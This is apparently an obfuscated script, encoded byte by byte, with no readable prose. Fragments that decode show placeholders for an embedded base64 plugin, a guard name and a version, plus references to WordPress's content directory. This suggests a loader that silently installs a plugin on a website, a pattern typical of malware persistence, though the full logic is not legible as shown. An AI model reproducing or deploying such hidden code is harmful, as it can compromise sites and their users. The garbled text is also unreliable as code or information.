T[]XYYMMMPMMMMU^T	ZEgMMT2_\_\EZ_]DAgMEJ22>!8*22JAMMMMJ22=!8*$#2/,>([Y22JAMMMJ22*8,?)2#, (22JAMMMJ22;(?>$"#22JDAgMMMMEI]_
] AMMI2\Z]U 	AMMMMMI[
^
AMMT2 _U_ EDDgDVgMMMMMMELI
T[]XYYDMgMMMMMEEDMM
2E]]
X_E\[_YDAMM]DMMMMSMM]DMM]Y\
\[ZET2_\_\E_\XYDAMMMM[_
 E_\XXDDVgMMMVgMgMMMIMMMMPM2
	

EIDVgMI]	MPMM2[
^E_\][DE[_
 E\XXYDAMOOAMI
T[]XYYDVgI\[	ZMMMPMMME[_
 E_]XYDEIDMMPPPMM]DVgMMELI\[	ZDMgMMMEL ]Y UXZE]]
X_E_\XYDDDMMMgMMM]Y\
\[ZE2[
^E_\XYDAMMM[_
 E_\X[DDVgMVgMgMMMMMMMEL_[_Z2^TEI]U]U^AMIDDMgMM]Y\
\[ZE[_
 E_\XYDAMMM]]
X_E\X[\DDVgMMMMMMMMVggggMgMMMMMMMMY]^  _ ET2_\_\E_\XYDDVgMMMMMgMMMEL_[_Z2^TEI]U]U^AMOODDMMMMgMM]Y\
\[ZE2[
^E_\XYDAMMT2_\_\E_\XZDDVgMMMMMVgMMMMMgMMgMMI^MPMMMMM^ 2_	U
EIAMI	UXYU2MMMMCMMMO1OMCMMI]	MMMCMO1OMCMMI
_U]X _DVgMMMMMMMMELYY2T  ^\EI]U]U^AMMMMMI^DDMMMI
X_P[\GTVIZ]]\PI
X_@\XVgMMMVgggMMMgMMMMMMEI\[	ZDMMYU	XT]2EI]U]U^DVgggMMMVI]X]X	  PE]U_F][DVIZTPI]X]X	  H\YVgggMMMMMMMMMME9MMMI

ZDMg]Y\
\[ZET2_\_\E_\XYDAMMMI

ZDVgggMMMMMMVgMMME(MMI

ZDMMMMMgMMVgMMgMMMMgMMMMMMMMM^
]
2_2EDggMMMMggMMIT  \ \ MPMMEDVggMEL[_
 E_\^[DE2[
^E_\XUDDDMMMMMMIT  \ \ VgMMMMMIMPMME		E2[
^E_\XTDDMRM:=2."#9(#92)$?MWMME		ET2_\_\E\U^\DDMMMRMMM,/>=,9%MMMCMT2_\_\EUY^DMWMMMOODDMMCMMM2[
^E_\[]DVgMI^X^]Y2MPMME
DMM-
2ET2_\_\E\_X[DAMMMOODVgggMMMMMMEI^X^]Y2MMLPPMOODMIT  \ \ 60MPMMIMCMMMI^X^]Y2MCMMMM[_
 E_\[\DVgMMI^MMPMMMME
DMMMM-
2E[_
 E\_XZDAMMOODVgMMMMMMMMMMEI^MMMLPPMMOOMMMKKMMMMI^MMLPPMMMI^X^]Y2DMIT  \ \ 60MPMMIMMCMMMMI^MCMMMM2[
^E_\[\DVgMMMMIT  \ \ VgggMMMgMMM_Z EDgMMMMMMgMMMMMMMMMgBBMMM	ggMMMMEL		ET2_\_\E\U^\DDMMMMMMML]]
X_E_\[_DE]]
X_E_\[^DDDMMVgMMMME^
]
2_2EDMMMMI^YDMMgMMI
T[ T	YMMMMMMPMMMX_T] 
EDMMCMMMT2_\_\E_\[YDMMMMMCMMMT_
	
  \XEI^YAMMEZT3[ZDDMMCMMMM]]
X_E_\[XDVgMMMMMMMMEL-[_
 E_\[[DEI
T[ T	YDDMVgMME-T2_\_\E_\[[DEI^YDMMKKMMMMM-[_
 E_]]UDEI^YDMSMMMMMM]DMMMVgI
ZTU\MPMM-]]
X_E_\Y\DEI
T[ T	YDVgMMMMEL2[
^E_\X_DEI
ZTU\DMMMMMI
ZTU\MMPPPMMOODMVgMEYY2T  ^\EI^YAMMMMI
ZTU\DDMMgMMMMM]Y\
\[ZE]]
X_EZ_\DAMMT2_\_\E_\[ZDDVgMM-	2E]]
X_E_\[UDAMT2_\_\E_][YDEDAMMT2_\_\E_\[TDDVggggMMMMMMMgMgMMMMMMME9MI

ZDMMMMMgBBM	Mgg]Y\
\[ZE]]
X_EZ_\DAMI

ZDVgMMMMMMMMME(MMMI

ZDMgMMMMMgMgMMMMM2_	T
 ^EDggMgMMMMgMMMMMMEL		ET2_\_\E_\Z]DDDMMMMMMMVgI2YTXMPMMMMMM^
]
2_2EDVgMMMMMMMME EI2YTXDDMMMMMVgMI
X_MMMPMMMMMEDMM
2E[_
 E_\[UDAM]DVgMMMEI
X_MKKMMMMM]]
X_E_][YDEDMMM@MMMMI
X_MQMMME\\ZZT^@^\^T^DDMMMMMMMMMVgIY_MMMPMMT2 _U_ EDMMMCMMMJWJMMMMCMT_
	
  \XE,/>=,9%MCMMM[_
 E\U\UDAME\FZDDVgggMI	UXYU2MMPMMM2[
^E_\Z\DMMCMMMIY_MMCMMMMM]]
X_E_\YYDVgMMMMI
_U]X _MMPMM[_
 E_\Z_DMMCMIY_MCMMMT2_\_\E_\YYDVgggI[
^
MMPMT2_\_\E_\Z^DMMMCM[_
 E_\ZYDE2[
^E_\ZXDE,/>=,9%MMMCMMME
DMMM\YTYEDDAMMMMM]AMMMMMME\FZDDVgMMMMMI]_
] MMPM2[
^E_\Z[DETXXEDAMM]]
X_E_\Y]DDVgMMMI2\Z]U 	MPM[^22TEDVgMMELI2\Z]U 	DMMMMMMVggIY]X[]TMMPMMMU^T	ZEgggMMMMT2_\_\EZ__DAgMMEJ22>!8*22JAMMMMMJ22=!8*$#2/,>([Y22JAMMMJ22*8,?)2#, (22JAMMMJ22;(?>$"#22JDAgMMMEI]_
] AMMMI2\Z]U 	AMI[
^
AMMT2 _U_ EDDggMMMMMDVgMMMMMMELIY]X[]TDMMMgBBM:	=M[CXMWM MggMMMEEDMMM
2E2[
^E\[_YDAMMMM]DMMSM]DMM]Y\
\[ZE]]
X_EZ_\DAM]]
X_E_\ZZDDVgMMMMMMVgMgBBM:	=M[CZMM	 MggMMMIY]X[]TMMPM[_
 E_\ZUDE2[
^E\XXYDAMMMOOAMMMIY]X[]TDVgMMMMMMMEL2[
^E_\X_DEIY]X[]TDMMMIY]X[]TMPPPMOODMMMVgMMMMEI2YTXMMMMMIZ^]DMMMgMMMEL-T2_\_\E_\[[DEIZ^]DDMMMVgMI
2UX
2[MPMM[_
 E_\[_DE[_
 E\X]UDDMRMMMM-T2_\_\E_\ZTDEIZ^]AMMJJDMMMMMWMMVgMMMMMMEI
2UX
2[MMMMLPPMMKKMMMM]]
X_E_\[_DE]]
X_E\X\XDDDM-EI
2UX
2[AM!".&2(5DVgMMMMMMMMIMMPMM-T2_\_\E_\Y\DEIZ^]DVgMMMMMMMELT2_\_\E_\X_DEIDDMMgMM]Y\
\[ZE]]
X_E_\U]DAM2[
^E\YUYDDVggMMMMMMEI
2UX
2[MMMLPPMDMgBBM:=M/M9 WM M@ ggMMME2[
^E_\U\DE[_
 E_\U_DDDM-EI
2UX
2[AMMM!".&28#DVggggMMM-EI
2UX
2[DVgMMgMMVggMgMMMET2_\_\E_\U^DEIDMMSMMMMMME\]YUX]ZF[TDDMMIMMPMM2
	

EIDVgMMME]]
X_E_\YTDEIAMI	UXYU2DMMMMMLPPMMMMMMMMKKMMMMM]]
X_E_\UYDEIAMI
_U]X _DMLPPMDMMMVgMMMMEL-]]
X_E_\UXDEIZ^]DDMVgMMI
T[ T	YMPMMMMMX_T] 
EDMMMCMMMM[_
 E_\[YDMMCMMT_
	
  \XEIZ^]AMME[QQ\DDMCMMMMT2_\_\E_\[XDVggMMMMMMMMITX_MMPMMMT_
	
  \XE,/>=,9%MMMMMMCMMMM2[
^E\U\UDAMMMMEZF\DDVIUYZ]P=%=2$#92 ,5B=%=2$#92 ,5VI
X^X	
ZPIUYZ]FXYVgMIMPMU
[TYU] ]
EIAMM2[
^E_\U[DAMMMM]]
X_E_\UZDDVIT2  PXUG_VI[		
PIT2  @Y_VgMMIMMPMMMMM2[
^E_\ZUDE2[
^E\U^]DAMMOOAMMIDVgMMMEL[_
 E_\X_DEIDDMMgMMMM]Y\
\[ZET2_\_\E_\U]DAM2[
^E_\UUDDVgMVgMMMMMMMgMMMMMME[_
 E_\UTDEIAMM2[
^E_\T]DDMMLPPMMMMMM2[
^E_\T\DEIAMT2_\_\E_]\\DDMLPPMDMgMMMIX][ ^\MMMMMPMMM-]]
X_E_\[[DEI
T[ T	YDMMRMMMM-2[
^E_\Y\DEI
T[ T	YDMMMMMWMMVgMMggMMEL2[
^E_\X_DEIX][ ^\DMMMMMMIX][ ^\MMMPPPMMMOODMggMM]Y\
\[ZET2_\_\E_\U]DAMMT2_\_\E_\T_DDVgMMVgggMMMMgMMIMMPMMIX][ ^\VggggEIX][ ^\DVgMMgMITX__ZXMMMMPMYYTEIDVgMMMET2_\_\E_\T^DEITX__ZXDMMMKKMMITX__ZXMMLPPMOODMMMMgI]	[TMPM-]]
X_E_\[[DEI
T[ T	YDMMRMM-[_
 E_\TYDEI
T[ T	YDMMMWMMMVgMEL2[
^E_\T^DEI]	[TDMMMI]	[TMMMLPPMMMITX__ZXDMMMYY2T  ^\EI
T[ T	YAMMITX__ZXDVgMMEI]	[TDVgMMgMMMMMMMEITX__ZXDVggIMMMMPM[_
 E_\__DVgMMMMMMET2_\_\E_\U^DEIDMMMSMM]MKKMMM[_
 E_\T\DEIAMT2_\_\E_\TXDDMLPPMMMMMKKMMMM2[
^E_\ZYDET2_\_\E_\T[DEIDAM@_DMMMLPPMMMT2_\_\E_\TZDDMMIZ ZTP=%=2$#92 ,5B=%=2$#92 ,5VI[T
PIZ ZTF^_VgMIMMPMMOOVgMMMgMMI Y MMMMPMMME]]
X_E_\U^DEIDMSMM]DMMMMMRMO1OMMMMWMMMOOVgMMMMMMMMIYT[X]\T	MMMMMPMI Y MMMCMMIMMMMMMCMMMI	UXYU2MMCMMMO1OMMCMMMMMIY]X[]TMMMMMMCMMMO1OMMCMMMMI
_U]X _MMCMMMO1OVgMMEL_[_Z2^TEIZ^]AMIDDMg]Y\
\[ZE2[
^E_\U]DAMMM]]
X_E_\XZDDVgMMVgMMMggggMMELYY2T  ^\EIZ^]AMMMMMIMCMMMIYT[X]\T	DDMMMMMMVgMMMMMVgMMMMMMMMgMEI
2UX
2[MMLPPMMDMMgMMME[_
 E_\U\DE]]
X_E_\U_DDDM-EI
2UX
2[AMM!".&28#DVgMMM-EI
2UX
2[DVggggBBM-@MggMMMMVgMMMMMME9MMMMMMI

ZDMMgM]Y\
\[ZE[_
 E_\TUDAMMI

ZDVggggMMMMMVgMMMMMMME(MMMMMI

ZDMgMMMVgMgMMMMMMgMMX\Z [\	]EDggMMMMMMMMgMMMMEL		E2[
^E_\Z]DDDMMMMMVgMMMMMME	2 
UXUTETXXEDDDMMVgI [X\MPMMMM _^][[	EDVgMI T[ MMPMMT_
	
  \XE,/>=,9%MMMCMT2_\_\E\^YXDAMMEYFYDDMCM2[
^E\^Y[DVgggMMMMMI]_
] MPM[_
 E_\Z[DETXXEDAMMMMMT2_\_\E_\Y]DDVgMMIZX MMPMMMM] UX_^^EDVgMELIZX MMT2_\_\E_\TTDEIZX DMMMMQMMMEX\Z@\ZDDMMMMg]Y\
\[ZE[_
 E\X_XDAMT2_\_\E__]]DDVggMMMVggMMMEL2[
^E__]\DET2_\_\E__]_DDDMMMMVgMMI[
MMPMEgI [X\MMMMMCMMMJBJMMMCMI T[ AgMMMMMI [X\MCMM2[
^E__]^DMCMM2[
^E__]YDE2[
^E__]XDDMMMMMCMMI T[ AgDVgMMMMI[	TTMMMMPMMME		E2[
^E_\XTDDMMRMMM:=2."#9(#92)$?MMWMMMMMM,/>=,9%MMCMMMMM[_
 EUY^DDMMCMM[_
 E\_XUDVgMMMME-]]
X_E\^T\DEI[	TTDDMMgggMI U\	Y	MPMMMMM\YEI[	TTDVgMMMMMMET2_\_\E_\^_DEI U\	Y	DDMMgMMMEI U\	Y	MMMMI

ZDMgMI 	^ZYZ[MMPMMI[	TTMMCMJBJMMCMMMMMMI

ZVgMMMME-]]
X_E\^T\DEI 	^ZYZ[DMMMKKMMM-]]
X_E_\UXDEI 	^ZYZ[DDMMMMMgMMMMMI[
60MMPMMI 	^ZYZ[MMMCMMJBJMMMMMMCMMI T[ VI[	P=%=2 ,'"?2;(?>$"#VI[

U^PI[	GYVgMVggMggMMgMgMMMEI[
MMMMMMITY
2^DMMMgMME-2[
^E\X\\DEITY
2^DMMKKMMM-[_
 E_]]UDEITY
2^DMSMMMMME]_^F]\TDDMMgMMMMMMI]2X	TUMMMMMMPMM2[
^E__][DVgMMMET2_\_\E__]\DEI]2X	TUDDMMgMMMIY Y	]	 MMPMMMI]2X	TUEDVgMMMMMME-IY Y	]	 @SEITY
2^DMPPPMMMMMDMgMMMMIY Y	]	 @SEDVgMVgggMMMgMggMI 	[TX2YMMPMMMMMM2[
^E_]]YDEITY
2^DVggggMMMMEL-]]
X_E\^T\DEI 	[TX2YDDMMMMZ^\2 EI 	[TX2YAMMMET[\@Y[UDAMDVI	2_X[X UP_YTYVI2_XPI	2_X[X UH\]VgMMMMMMMMI]2X	TUMMMMPMT2_\_\E__]ZDVgMMI[_MPMM\^	]X\ XEI 	[TX2YAMMT2_\_\EU^UDDVgMMMMMEI[_MMPPPMDMVgggIY_Y MMMMMPMMMMMMI]2X	TUEDVgMMMMMMMMMMME-IY_Y @SEI[_AMMMI]2X	TUWW.?(,9(MMMMI]2X	TUWW";(?:?$9(DMPPPMMDMgIY_Y @S		+ >
EI]_
] MMMMMCMMMJBJMMMCMI]_
] MMMMCMT2_\_\E_\Y]DAMMIZX DVgggMIY_Y @SEDVgMMMMMI\]MMMPMMMMI]2X	TUEDVgMMMME-I\]@SEI[_DMMPPPMMDMgMMMMI\]@SEDVgMME X 
Y\^	EI[_AMITY
2^DMMMMMMMME]	 \XZ	TEI[_AMMMMMITY
2^DMMMMMMKKMMM__2EI[_DDDMgMM[]^^
_EITY
2^AMMMM	^EDDVgMM    ^U]EITY
2^AMEY^Z@\ZDDVgMMMMMMMMMMgggg__2EI[_DVggggMMMMMMMgMMMMMMMMMMgMMMM__2EI[_DVgMMMgMMMMMMMMggMMMM__2EI[_DVgMMMMgMMggggMMMMMMMMMMMMME9MI

ZDMMgMMMMM]Y\
\[ZE]]
X_E\^YXDAMI

ZDVIY	
P=%=2$#92 ,5B=%=2$#92 ,5VI ^^
PIY	
F_ZVgMMMMMMMMME(MI

ZDMMggMMMMMMggMMX2ZZ^EDgMMgMMMMgMMMMEL[_
 E__]UDE2[
^E__]TDDMMMMMMML[_
 E__\]DE[_
 E__\\DDDMMVggggMMMMMMMMEL		ET2_\_\E_\Z]DDDMMVgMMMMMI2^UY[_MMMPMMMM]]
X_E_\^ZDVgMMEL22		EI2^UY[_DDMMgggM2	2E2[
^E_][YDEDMMMFMME]\]	F]\DAMM]]
X_E__\_DAMMMMI2^UY[_DVgMMgMMMMMMMEL22		E]]
X_E_\^UDDDMMgMMMM2	2E2[
^E_][YDEDMMFMEZ_X@\_XDAMMM]]
X_EY\UDAMMMM]]
X_E_\^UDDVgMMMgMMMMMME9MMI

ZDMMMMgMM]Y\
\[ZET2_\_\E__\^DAMMMI

ZDVgMMMMMME(MMI

ZDMMMMgMMMMMgMMgMMMMM]]TY
 EDgMMMMMgMMMMMgMMMMEL		E]]
X_E_\Z]DDDMMVgMIX\[
MMPMMMT_
	
  \XE,/>=,9%MMMMMMCMMMJ
JAMMMME\YY3\X_DDVgITY 2X[YMMMMPMMEDVgMMMMMMET2_\_\E__\]DE]]
X_E__\YDDDMMMMITY 2X[Y60MPMMX_T] 
EDVgMITY 2X[Y60MMPMMM,/>=,9%MMMCMMMMMT2_\_\E\[XXDVgMMMMME]]
X_E__\]DE2[
^EXTDDDMMMMMMITY 2X[Y60MMPMMMM _^][[	EDVgMMMMMMMEITY 2X[YMMMMMMI^[2 2YDMMMggggMMI^
YMMPMMMI^[2 2YMMCM[_
 E\[X]DMMMCMIX\[
VgMMME-[_
 E_\[[DEI^
YDMKKMMMEDMMM-T2_\_\E\[XUDEI^
YDMMSMM[_
 E__\XDEDMMM@MMME_\[F_YDDMVgMMMMgMMMMMMMEITY 2X[YMMI^[2 2YDMMI^\XX2P@_ZTVI	UTPEI^\XX2S]DRI^\XX2W@I^\XX2VgMMMMMMIXZ^Z
MMPMMI^[2 2YMMCMMM]]
X_E__\[DMMMCMMIX\[
VgMMMMME-T2_\_\E_\[[DEIXZ^Z
DDMMgI T[Y	2_ZMMPMMEDMM-[_
 E__\ZDEIXZ^Z
DVI
UPY\]VI2	ZYPEI
US]DRI
UW@I
UVgMMMMMEI T[Y	2_ZMMSM]]
X_E__\XDEDMM@MME_]\_]F[[_U]DMKKMMMI T[Y	2_ZMMQPMMMM]]
X_E__\UDEDMFME__TFZ\DDMMMMVggMMMMM__2EIXZ^Z
DVgggMMMMgMMMMI Y2MMPMMMMI^[2 2YMCM2[
^E\[X^DMMMCMIX\[
MMCMM2[
^E_\Y]DVgMMMMME-[_
 E__\TDEI Y2DMMMMMKKMMEDMM-2[
^E___]DEI Y2DMMMMSMME][F]\UXDDMMgMI22
 [2 X[MMMMPMI^[2 2YMMMCMT2_\_\E___\DMMCMMMMMMIX\[
VgMMMMMMMMI	U^	MPMMM-[_
 E__\TDEI22
 [2 X[DMMMRM[_
 E\Z[^DEE
DMMMM-2[
^E_\TYDEI22
 [2 X[DDMWMMOOVgggMEI	U^	MLPPMOOMKKMMM2[
^E__\]DE[_
 E____DDMMMMKKMMMM- 	X2EI Y2DMPPPMMMI	U^	DMg-	MI Y2VgMVgMMgMMMMEI	U^	MLPPMOODMMMMMMgM__2EI Y2DVgMgEI22
 [2 X[AMMMMMI	U^	DVgMMMgMgMMEIXZ^Z
AMMMI T[Y	2_ZDVgMMMMMMMMME2[
^E__\]DET2_\_\E_\^XDDDM-	2ET2_\_\E\[U^DDVg 2Z[		]2
	EDVgMMMMMMMME9MMMI

ZDMMgMMMM]Y\
\[ZE[_
 E___^DAMI

ZDVgMMMMMME(MMI

ZDMMggMMMMMgMMMMMMMTY	^ 2_X^EDgMgMMMMMMMMMgMMMMEL		E]]
X_E_\Z]DDDMMMMMMVgMZ
Y[EDVggMMMI]_
] MMMPMMMMMT2_\_\E___YDETXXEDAMM2[
^E_\Y]DDVgI[TMMMMPMMTXXEDVgMggMMMMIZX MMMMPMMOOVgMME-2[
^E__\TDEI[TDMMKKM-]]
X_E___]DEI[TDMMMMSMEYTZ_F_UDDMgMMMMI^T XMMMMMMPMME
DM-T2_\_\E___XDEI[TDVgMI]
MMMPMM2[
^E__\]DE]]
X_E___[DDMMRM2
	

EI^T XDMWMMMI^T XVgMMMMMMMET2_\_\E_\T^DEI]
DMMMMKKMMT2_\_\E_\TTDEI]
DMMSMMMMEXYU@YUDMMMKKMM]TX^EI]
DDMIZX MMMPMI]
VgMMMMMEI^T XAMMMMMI]
DVggMMMMMMEIZX MMMPPPMOODMMMI	 ^X[XP=%=2 ,'"?2;(?>$"#VI
\YPI	 ^X[XGZVgMMMI[_Z
MMMPMT_
	
  \XE,/>=,9%MCMMM]]
X_E\X^ZDAMEYF[DDVgI2\Z]U 	MPM]]
X_E___ZDE2[
^E_\[^DDMMMRM-
2EI[_Z
AMOODMMWMMMMOOVgMMMMELI2\Z]U 	MMMMMM]]
X_E_\TTDEI2\Z]U 	DMMMMQMMME]\_F]UDDMVgIZX MPMMMM2]Z2UE[_
 E\XYYDEI2\Z]U 	DDVgMMELIZX MMMMMMT2_\_\E_\TTDEIZX DMQMMEY[XF^XDDMVgMMMMMEL]TX^EIZX DDMMgM]Y\
\[ZE]]
X_E\_TYDAMM[_
 E\_TZDDVgVgMMMMMMgggMI [X\MMMMPM _^][[	EDVgggIT2Z[^MMMMPMMI [X\MMCMMT2_\_\E\[Z_DMMMCMI]_
] VggMMI2UY^MPMMIT2Z[^MMMMCMMMMMMJBJMCMMI]_
] MMCM[_
 E_\Y]DVggMMEL-T2_\_\E\^T\DEIT2Z[^DDMMZ^\2 EIT2Z[^AMEXZFY^[DAMDVgMMIT
T2UMMPM-2[
^E___UDEI2UY^DMRMME
DMMM-2[
^E___XDEI2UY^DMMMMMWMOOVgMI^
\MMPMMVgMMMMEIT
T2UMLPPMOOMKKMM[_
 E___TDE[_
 E\U]XDAM2[
^E_\ZYDEIT
T2UAMMM]AMMEY]Z[F_]DDAMI TXY\DMKKM2 EI TXY\6\0AMMMMT2 _U_ EDAMMJSJDDMMI^
\MMMMPMMMMMMVgEI TXY\DVggggMMMMMMMELI^
\MMMMMMKKMMMMMMEIT
T2UMPPPMMOOMMMMMM[_
 E_\ZXDE2
	

EIT
T2UDDMLPPMM2[
^E_\ZXDEIZX DDDMMMMgMMMEYY2T  ^\EI2UY^AMMUT_[_YEIZX DDDMMMMgMM    ^U]EI2UY^AME^Y]FU]DDVgMM\\_ EI2UY^DVgMMMMYU	XT]2EI2UY^DVgMMgMgMMEIT
T2UAMI^
\DVgMMMMMME]]
X_E___ZDE2[
^E__^]DDMMMKKMMMMT2_\_\E__^\DET2_\_\E\Z[UDDDMMgMMMI2XX[[T	 ZMMMPMI]_
] MMMMMCMJBJMCMI]_
] MMMCM]]
X_E_\Y]DVggggI^Z\MMMPMMMM
2E]]
X_E__^_DAMEDDVggMMMMMELT2_\_\E_\^_DEI^Z\DDMMMI^Z\MMMPMMMMEDVgBGMM @ MGBggMMMMMMMMELT2_\_\E\_YZDEI2XX[[T	 ZAMMMMMI^Z\AMMDDMMggggMI^Z\60MMMMPMI2XX[[T	 ZVggggMMMMMMMM	2E2[
^E__^_DAMM2[
^E\^^_DEI^Z\DDVgMMMggMMMMMMgMIZ^] [MPMMMMMM	2	TY_
TEDVgMMME-]]
X_E\^T\DEIZ^] [DMMMMMMMZ^\2 EIZ^] [AMMEYU^F\]DAMMDDMMgMMMIT^MPMMMIZ^] [MMMMCMMJBJMMMMMCMMI]_
] MMCMT2_\_\E_\Y]DVgMMI2^ 
2MMMPMMMMM-[_
 E___UDEIT^DMMRMMMMMME
DMM-]]
X_E___XDEIT^DMWMMMMOOVgMI]	 ZZMPMVgMMMMMMMMEI2^ 
2MMLPPMMMMMOOMMKKMMMMT2_\_\E___TDET2_\_\E\U]XDAM]]
X_E_\ZYDEI2^ 
2AM]AMMMMMEY]Y^FX^DDAMI_[U Z]DMMKKMMM2 EI_[U Z]6\0AMMMT2 _U_ EDAMMMMMMJSJDDMMMMMI]	 ZZMPMMVgMMMMMEI_[U Z]DVgMMELI]	 ZZMMMMKKMEI2^ 
2MMPPPMOOMMMMMMMM[_
 E__^^DE2
	

EI2^ 
2DDMMMMMMLPPMM2[
^E__^^DEIZX DDDMMggMMMMEYY2T  ^\EIT^AMMMUT_[_YEIZX DDDMMMMgMMMMM    ^U]EIT^AMME^XZF[^DDVgMMM\\_ EIT^DVggMMYU	XT]2EIT^DVggMMMMELI]	 ZZDMMI]	2]\P=%=2$#92 ,5B=%=2$#92 ,5VI^_PI]	2]\F^VgMMMMMIY\X[ \MMMPMMM-]]
X_E__\ZDEIT^DVgggMMMMELIY\X[ \MMMMMMEIY\X[ \MMMHMMMME\ZT[^_@ZT[^_DDMLPPMM\YTYEDDM\\_ EIT^DVgMMggMMMMEIY\X[ \DVI P=%=2$#92 ,5B=%=2$#92 ,5VI]PI FU]VgMgMMMMEI2^ 
2AMMI]	 ZZDVgggMMggMM]
^XXU[YEIZX DVgMMME9MI

ZDMMMMg]Y\
\[ZE[_
 E__^YDAMMMI

ZDVgMMMMMMMMMMMMME(MMI

ZDMMgMMMgMMMgMMMM^ [U\	 \_EDgMMgMMELEI2*(96JJ0DMMMML]]
X_E_\T^DEI2*(96JJ0DDMMVggMMMMMMI ]Y[MPMMMMMI2*(96JJ0VggggMMMMMMMEI ]Y[MMMPPPMMYT2	Y	E[_
 E\Y\[DDDMMgMMgggMIT]
ZX
MPMMMX_T] 
EDMCMMJBJMMCMMMT_
	
  \XE,/>=,9%MCMT2_\_\E\Y\[DAMME\Z\3\[^DDMMMMMMCM[_
 E_\Y]DVggMMMI_[[
MMMPMMM-]]
X_E__^XDEIT]
ZX
DMMMMRMEDMMMMM-2[
^E__^[DEIT]
ZX
DMWM]VgMMEI_[[
MMMMSMMMMMEY]YFT[DMMKKMMI_[[
MQPMMMMMMEX_Y_U]YFZ[DDMMMgMM	MMIT]
ZX
VgMgMMMMMMMMMMMMME9MMI

ZDMMMgBBM=%=MUC\MMMggMMMMMMME(MMI

ZDMggMMMMMMME]]
X_EY^ZDEDMMMSMM]MMKKMMMMM-2	2EDDMMggM	E[_
 E__^ZDDVgVgMgggMMMMEI ]Y[MMMLPPMMMMYT2	Y	E]]
X_E__^UDDDMVgggMMMMMMMgMMMMMMME[_
 E__^TDET2_\_\E__^]DDMMMKKMMM[_
 E__^TDET2_\_\E\Z[UDDDMg-	2ET2_\_\E__Y]DAMMMMEDM-
2E]]
X_E__Y\DAMMM]DMFM\AM2[
^E_\[TDDVgMMMM-	2E]]
X_E__Y_DAMMT2_\_\E__Y^DEDAM]]
X_E_\[TDDVgggMMMIYMMMPMU2\_Y^ _E]]
X_E^TTDAMMMOODVgggMMMME]]
X_E_\TTDEIYDMSMME]\TF]YDMKKML[_
 E___TDE]]
X_E__YYDAMIYDMKKMM]]
X_E___TDE2[
^E__YXDAMIYDDMMMgMI\]YTMMMMPM-]]
X_E__Y[DEIYAMMMDVgMMMEI\]YTMMMMLPPMMMMKKM[_
 E_\TTDEI\]YTDMSME_]]3\Z_DDMIYMMMMMPMMMMI\]YTVggMMMMMMMMMME2[
^E_\TTDEIYDMMQMME]XF]XDDMIYMMMPMMM	^UZ2[YZTEDVgMMMMMMMMMME2[
^E_\TTDEIYDMMQMMMMME]YXF]\DDMMMMggMMMMMMMMME[_
 E__YZDEDMMMMMSM]MMKKMMMMM-2	2EDDMMgggMggg	E]]
X_E__YUDDVggMMMMMM	E2[
^E__YTDDVgMMM	E]]
X_E__X]DDVgMMMMMMMMVgMMMMMMgBBM-M@ggI	MMMMMPMU2\_Y^ _ET2_\_\E\^U]DAMMMOODVgMI]	U][XMMMPMJOJMCMM[_
 E__^^DEI	MCMMMMIYDMMMMMCMMMJOJVggMMMMEEI2>(?;(?6[_
 E__X\D0DMMMKKMM]]
X_E__X_DEI2>(?;(?6[_
 E__X^D0DMMPPPMMI]	U][XDMMMMMgMMME[_
 E__YZDEDMSMMMM]MMMMMMKKMMMMMM-2	2EDDMMgggMMgMMMMMMM	E]]
X_E__XYDDVgMM	ET2_\_\E__XXDMMCMI]	U][XDVgMVggMMgME[_
 E__YZDEDMSMM]MMKKMM-2	2EDDMMMgBBMMggMgM	E]]
X_E__YUDDVggM	E2[
^E__YTDDVgMMMM	ET2_\_\E__X[DDVgMMM	E2[
^E__XXDMMCMI]	U][XDVgMMMMI	MMMMMCMMMMIYVggggMMMVgggMMMMMMMMMMME9MI

ZDMggMM]Y\
\[ZET2_\_\E__XZDAMMMI

ZDVgMMMMMMMME(MMMMI

ZDMMgM]Y\
\[ZET2_\_\E__XZDAMI

ZDVgMMMMMMgMggg^ [U\	 \_EDVgMMMMMMMMMMM_^  \XEDgMgMMMMMMMELEI2*(96T2_\_\E__XUD0DDMMVggggMMMgMIY ZMMPMI2*(962[
^E__XUD0VgMMEL[_
 E_\T^DEIY ZDMMMMMMMIY ZMMPPPMMMMOODMMVgggMMIY ZMMMMPMMMM[_
 E__XTDEIY ZDVgI^]MPMMMEDVgMMMMMMMMMME[_
 E__[]DE]]
X_E__[\DDDMMMI^]60MMMMPMME
DMM]]
X_E__[_DE 2EDAMMMM=%=28?!2%">9DVggggMMMMMME[_
 E__[^DE]]
X_E__[YDDDMgMMMMI T]]MMMMMMPMMMMME
DMM-
2ET2_\_\E[\TDAMMMOODVgMMMMEI T]]MMLPPMOODMMMI^]60MMPME
DM[_
 E__[_DEI T]]AMMMMMM=%=28?!2%">9DVgMgBBM@	 MMM=%=8M\]ggMMMMMMMMMMMMEEI2>(?;(?62[
^E\[ZXD0DDMMMI^]60MPME
DMMI2>(?;(?6]]
X_E\[ZXD0VgMMMMI^]60MPMMMM	Z[ Z ]Y_TEOODVgMMMMIU\ZMPMMVgggMMMMMMMMME[_
 E\_U[DEI^]DMMMMI
[]	DMMMgMEL[_
 E__[XDEI
[]	DMMMMMI
[]	MMMMPPPMMOODMMMMMMVI	Z^XUP=%=2$#92 ,5B=%=2$#92 ,5VI

[PI	Z^XUF^UVgMME[_
 E_\T\DEI
[]	AMMJWJDMMLPPMMDMMMI
[]	MPMMT2_\_\E_\ZUDE2[
^E__[[DAMMMMOOAMMMMMI
[]	DVgMMMMMMMMMET_
	
  \XE2[
^E__XTDEI
[]	DMCMMMM2[
^E__[ZDAMMMMMME\U@[DDMMMMMMPPPMIY ZDMMMMMMgMMMIU\ZMMPMVggggMMMVgggMMMgMMMMgMMELIU\ZDMVgI ]22\XT2 MMMPM[_
 E\Y]TDE2[
^E__[UDAMMMETF_\DDVgMIX]\]T\[MMPMM2]Z2UET[
	UEI ]22\XT2 DDVggggME2[
^E__YZDEDMSM]MMKKMM-2	2EDDMMMgMMMMMMMgMMM	E2[
^E__[TDDVgMMM	E[_
 E__Z]DDVgMMMMMMMMMEIX]\]T\[MMPPPMMMI ]22\XT2 DMRM[_
 E__Z\DMMCM2[
^E__^^DEI ]22\XT2 DMWMMM2[
^E__Z_DVggMVgMMMME9MMI

ZDMMgggg]Y\
\[ZET2_\_\E__Z^DAMI

ZDVgMMMMMMMMMMME(MI

ZDMMMgMMMMMM]Y\
\[ZE2[
^E__ZYDAMMI

ZDVIZY Z]U[P[\F^\VI
2
	2Y
XPIZY Z]U[@Y\VgMgBBM@	 M
MM:	=M[CZMggMMMMgMMMMMM_^  \XEDVgMMM[
U2]	EDgMgMMMgMMMMET2_\_\E__[^DE]]
X_E__ZXDDDMMM22	 EDVgMMMMMMMMMMME2[
